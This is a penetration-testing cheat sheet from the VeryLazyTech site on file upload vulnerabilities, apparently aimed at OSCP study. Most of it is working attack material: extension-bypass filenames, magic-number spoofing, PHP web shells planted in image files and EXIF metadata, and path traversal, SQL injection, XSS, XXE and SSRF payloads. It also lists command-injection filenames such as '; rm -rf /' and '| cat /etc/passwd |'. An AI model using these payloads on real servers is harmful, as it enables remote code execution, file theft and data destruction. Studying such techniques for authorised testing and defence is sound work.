File upload vulnerabilities
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Basic info
File upload vulnerabilities occur when a server allows users to upload files without proper validation, potentially letting attackers upload malicious content. This can lead to severe issues like remote code execution, where attackers run commands on the server, or denial of service by consuming resources.
Bypass file extensions checks
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Workflow
If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr
Check adding a valid extension before the execution extension (use previous extensions also):
file.png.php
file.png.Php5
Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Add another layer of extensions to the previous check:
file.png.jpg.php
file.php%00.png%00.jpg
Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
ex: file.php.png
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Make the payload AAA<--SNIP 232 A-->AAA.php.png
Bypass Content-Type, Magic Number, Compression & Resizing
1. Bypassing Content-Type Checks
Web applications often validate file uploads by checking the Content-Type
header to ensure only specific file formats are allowed. However, this check is easily bypassed by modifying the Content-Type
value in the request.
How to bypass Content-Type checks:
Simply set the Content-Type
header to a commonly accepted value:
httpCopyEditContent-Type: image/png
Content-Type: text/plain
Content-Type: application/octet-stream
Why does this work?
Many applications rely on the Content-Type
header to determine if an uploaded file is valid. However, this header is controlled by the client (browser or attacker), so it can be easily manipulated to fool the server into accepting unauthorized file types.
2. Bypassing Magic Number Checks
Some applications inspect the file's Magic Number (the first few bytes of a file) to verify its actual type, regardless of the file extension. Attackers can bypass this by appending the correct Magic Number at the beginning of a malicious file.
How to bypass Magic Number checks:
Method 1: Prepending a valid Magic Number
You can insert the Magic Number of a valid image at the beginning of a malicious file to trick the server into accepting it as an image:
echo -ne "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" > fake.png
cat shell.php >> fake.png
Explanation:
\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
→ This is the Magic Number for a PNG file.cat shell.php >> fake.png
→ Appends a PHP shell to the image file.
Method 2: Embedding a backdoor inside metadata
Another approach is to hide a PHP shell inside the metadata of an image:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
Explanation:
The PHP shell is stored in the image’s metadata, making it harder to detect.
The
__halt_compiler();
function stops PHP from interpreting the rest of the image file, ensuring only the backdoor code executes.
Method 3: Directly injecting payload into an image
Alternatively, you can append a PHP payload directly inside an image file:
echo '<?php system($_REQUEST["cmd"]); ?>' >> img.png
Explanation:
The
system($_REQUEST["cmd"]);
command executes any system command sent via HTTP request.The image remains valid, but when executed as a
.php
file, it runs the attacker's commands.
3. Bypassing Compression & Resizing Mechanisms
Many web applications use image compression and resizing (e.g., via PHP-GD) to process uploaded images. These transformations can strip malicious code, rendering previous techniques ineffective. However, there are ways to bypass these modifications:
Techniques to evade compression & resizing:
1) PLTE chunk technique
This method leverages the
PLTE
chunk in PNG files, which remains intact after compression.Code can be hidden within this chunk and extracted later.
2) IDAT chunk technique
This technique embeds a payload inside the
IDAT
chunk of a PNG file, ensuring that the payload survives image resizing.
3) tEXt chunk technique
Some libraries, like
thumbnailImage()
, retain thetEXt
chunk in PNG files.Attackers can inject malicious code into this chunk and retrieve it later for execution.
4. Other File Upload Tricks to Check
In addition to bypassing validation mechanisms, attackers often exploit misconfigurations and system behaviors to escalate attacks. Here are some additional tricks to consider:
4.1 Finding a way to rename the uploaded file
Some applications allow renaming an uploaded file, enabling attackers to change its extension to
.php
and execute it.
4.2 Finding a Local File Inclusion (LFI) vulnerability
If an LFI vulnerability exists, an attacker can include their uploaded backdoor for execution:
include("/uploads/shell.php");
4.3 Exploiting filename-based vulnerabilities
Uploading a file multiple times with the same name
This can lead to race conditions or unintended file overwrites.
Uploading files with directory traversal characters
Examples:
.
→ May overwrite existing files...
→ Could move files up a directory.…
→ Can cause unexpected behaviors.
Uploading files with special characters (Windows NTFS tricks)
Some filenames are restricted in Windows but may still be created by tricking the system:
…:.jpg
→ Creates a file that cannot be deleted easily.CON.jpg
,PRN.txt
,NUL.exe
→ Reserved filenames that may cause unexpected behavior.
Uploading executable files for social engineering
Uploading
.exe
or.html
files disguised as images could trick users into executing malicious code when opened.
From File Upload to Other Vulnerabilities
1. Path Traversal via File Upload
Set filename to ../../../tmp/lol.png
How it Works:
Path traversal (
../
) allows an attacker to navigate outside of the intended upload directory.If a web application doesn’t properly sanitize file paths, an attacker can overwrite sensitive files or place files in unexpected locations.
Example payloads:
../../../etc/passwd ../../../var/www/html/shell.php
2. SQL Injection via File Upload
Set filename to sleep(10)-- -.jpg
How it Works:
Some web apps store filenames in a database.
If filenames are not properly escaped, SQL Injection may occur.
Example payloads:
' OR 1=1; -- sleep(10)--.jpg ' UNION SELECT null, username, password FROM users; -- .png
3. XSS via File Upload (Filename-Based XSS)
Set filename to <svg onload=alert(document.domain)>
How it Works:
If an application renders filenames inside HTML without proper escaping, an attacker can execute JavaScript.
The injected filename triggers an XSS attack when viewed in the browser.
Set filename to ; sleep 10;
How it Works:
If an application processes filenames in shell commands, an attacker can inject OS commands.
Example payloads:
; rm -rf / ;.jpg && whoami && | cat /etc/passwd |
5. XSS in Image Upload (SVG File Exploitation)
Upload an SVG file containing JavaScript
How it Works:
SVG files are XML-based and can contain embedded JavaScript.
If the server allows SVG uploads and serves them without proper security headers, attackers can execute JavaScript in the victim’s browser.
6. JS File Upload + XSS = Service Workers Exploitation
Upload a JavaScript file and register a malicious Service Worker
How it Works:
If an attacker can upload a
.js
file, they can register a Service Worker in the victim’s browser:navigator.serviceWorker.register('/uploads/malicious.js');
7. XXE Attack via SVG Upload
Upload an SVG file containing a malicious XML entity
How it Works:
If the application parses XML without proper security settings, attackers can perform XXE attacks to read system files.
Example Payload (SVG with XXE):
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>
<text>&xxe;</text>
</svg>
8. SSRF via Image URL Fetching
If the server allows fetching images from external URLs, use it for SSRF.
How it Works:
If the web app allows uploading images via URL (
fetch(https://evil.com/image.png)
), attackers can request internal resources like:http://localhost/admin http://169.254.169.254/latest/meta-data/
9. XXE and CORS Bypass with PDF Uploads
Uploading a specially crafted PDF to exploit XXE or CORS misconfigurations.
How it Works:
Malicious PDFs can execute JavaScript or leak data via CORS requests.
10. Uploading the EICAR File to Test Antivirus Detection
Uploading the EICAR test file
How it Works:
The EICAR file is a harmless string that triggers antivirus alerts.
Uploading this file helps test if the server has malware protection.
Learn & practice For the OSCP.
Last updated
Was this helpful?